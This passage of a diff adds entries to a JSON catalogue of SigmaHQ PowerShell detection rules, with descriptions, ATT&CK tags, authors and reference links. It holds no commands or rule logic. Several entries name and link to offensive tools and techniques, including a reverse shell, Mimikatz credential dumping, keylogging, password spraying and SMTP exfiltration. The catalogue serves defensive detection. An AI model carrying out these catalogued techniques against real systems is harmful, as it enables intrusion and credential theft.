"attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_ps_invoke_obfuscation_via_rundll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "posh_ps_invoke_obfuscation_via_stdin.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/08", + "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/08", + "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "e54f5149-6ba3-49cf-b153-070d24679126", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_ps_invoke_obfuscation_via_var.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", + "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c", + "value": "Powershell Keylogging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" + ], + "tags": [ + "attack.collection", + "attack.t1056.001" + ], + "creation_date": "2021/07/30", + "filename": "posh_ps_keylogging.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", + "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c", + "value": "Powershell LocalAccount Manipulation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_localuser.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", + "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4", + "value": "Suspicious PowerShell Mailbox Export to Share - PS", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2022/10/26", + "filename": "posh_ps_mailboxexport_share.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", + "uuid": "89819aa4-bbd6-46bc-88ec-c7f7fe30efa6", + "value": "Malicious PowerShell Commandlets", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_malicious_commandlets.yml", + "author": "Sean Metcalf (source), Florian Roth (rule), Bartlomiej Czyz @bczyz1 (update), oscd.community (update), Nasreddine Bencherchali (update), Tim Shelton (fp), Mustafa Kaan Demir (update)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords from well-known PowerShell exploitation frameworks", + "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb", + "value": "Malicious PowerShell Keywords", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_malicious_keywords.yml", + "author": "Sean Metcalf (source), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", + "uuid": "cd185561-4760-45d6-a63e-a51325112cae", + "value": "Live Memory Dump Using Powershell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml" + ], + "tags": [ + "attack.t1003" + ], + "creation_date": "2021/09/21", + "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Diagnostics" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", + "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f", + "value": "Modify Group Policy Settings - ScriptBlockLogging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484.001" + ], + "creation_date": "2022/08/19", + "filename": "posh_ps_modify_group_policy_settings.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", + "uuid": "78aa1347-1517-4454-9982-b338d6df8343", + "value": "Powershell MsXml COM Object", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", + "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", + "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/19", + "filename": "posh_ps_msxml_com.yml", + "author": "frack113, MatilJ", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", + "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0", + "value": "Malicious Nishang PowerShell Commandlets", + "meta": { + "refs": [ + "https://github.com/samratashok/nishang", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/05/16", + "filename": "posh_ps_nishang_malicious_commandlets.yml", + "author": "Alec Costello", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", + "uuid": "8c521530-5169-495d-a199-0a3a881ad24e", + "value": "NTFS Alternate Data Stream", + "meta": { + "refs": [ + "http://www.powertheshell.com/ntfsstreams/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/07/24", + "filename": "posh_ps_ntfs_ads_access.yml", + "author": "Sami Ruohonen", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", + "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad", + "value": "Code Executed Via Office Add-in XLL File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.006" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_office_comobject_registerxll.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", + "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4", + "value": "Potential Invoke-Mimikatz PowerShell Script", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/09/28", + "filename": "posh_ps_potential_invoke_mimikatz.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Mimikatz can be useful for testing the security of networks" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", + "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa", + "value": "Malicious PowerView PowerShell Commandlets", + "meta": { + "refs": [ + "https://powersploit.readthedocs.io/en/stable/Recon/README", + "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", + "https://thedfirreport.com/2020/10/08/ryuks-return", + "https://adsecurity.org/?p=2277", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/05/18", + "filename": "posh_ps_powerview_malicious_commandlets.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Should not be any as administrators do not use this tool" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell calling a credential prompt", + "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e", + "value": "PowerShell Credential Prompt", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/850381440629981184", + "https://t.co/ezOTGy1a1G", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/04/09", + "filename": "posh_ps_prompt_credentials.yml", + "author": "John Lambert (idea), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", + "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f", + "value": "PSAsyncShell - Asynchronous TCP Reverse Shell", + "meta": { + "refs": [ + "https://github.com/JoelGMSec/PSAsyncShell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/10/04", + "filename": "posh_ps_psasyncshell.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of PSAttack PowerShell hack tool", + "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5", + "value": "PowerShell PSAttack", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_psattack.yml", + "author": "Sean Metcalf (source), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", + "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f", + "value": "PowerShell Remote Session Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/06", + "filename": "posh_ps_remote_session_creation.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", + "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf", + "value": "Use Remove-Item to Delete File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/01/15", + "filename": "posh_ps_remove_item_path.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", + "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df", + "value": "Request A Single Ticket via PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_request_kerberos_ticket.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "uuid": "42821614-9264-4761-acfc-5772c3286f76", + "value": "Root Certificate Installed", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2020/10/10", + "filename": "posh_ps_root_certificate_installed.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "medium", + "falsepositive": [ + "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", + "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96", + "value": "Suspicious Invoke-Item From Mount-DiskImage", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", + "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ], + "creation_date": "2022/02/01", + "filename": "posh_ps_run_from_mount_diskimage.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n", + "uuid": "904e8e61-8edf-4350-b59c-b905fc8e810c", + "value": "Security Software Discovery by Powershell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2021/12/16", + "filename": "posh_ps_security_software_discovery.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", + "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b", + "value": "Powershell Exfiltration Over SMTP", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2", + "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2022/09/26", + "filename": "posh_ps_send_mailmessage.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect adversaries enumerate sensitive files", + "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", + "value": "Powershell Sensitive File Discovery", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1570814999370801158", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2022/09/16", + "filename": "posh_ps_sensitive_file_discovery.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Set-ExecutionPolicy to set insecure policies", + "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b", + "value": "Change PowerShell Policies to an Insecure Level", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://adsecurity.org/?p=2604", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/10/20", + "filename": "posh_ps_set_policies_to_unsecure_level.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Base64 encoded Shellcode", + "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd", + "value": "PowerShell ShellCode", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1063072865992523776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/11/17", + "filename": "posh_ps_shellcode_b64.yml", + "author": "David Ledbetter (shellcode), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names from ShellIntel exploitation scripts.", + "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7", + "value": "Malicious ShellIntel PowerShell Commandlets", + "meta": { + "refs": [ + "https://github.com/Shellntel/scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/08/09", + "filename": "posh_ps_shellintel_malicious_commandlets.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", + "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282", + "value": "Detected Windows Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", + "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518" + ], + "creation_date": "2020/10/16", + "filename": "posh_ps_software_discovery.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", + "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9", + "value": "Powershell Store File In Alternate Data Stream", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/09/02", + "filename": "posh_ps_store_file_in_alternate_data_stream.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", + "uuid": "88f0884b-331d-403d-a3a1-b668cf035603", + "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_ps_susp_ad_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage 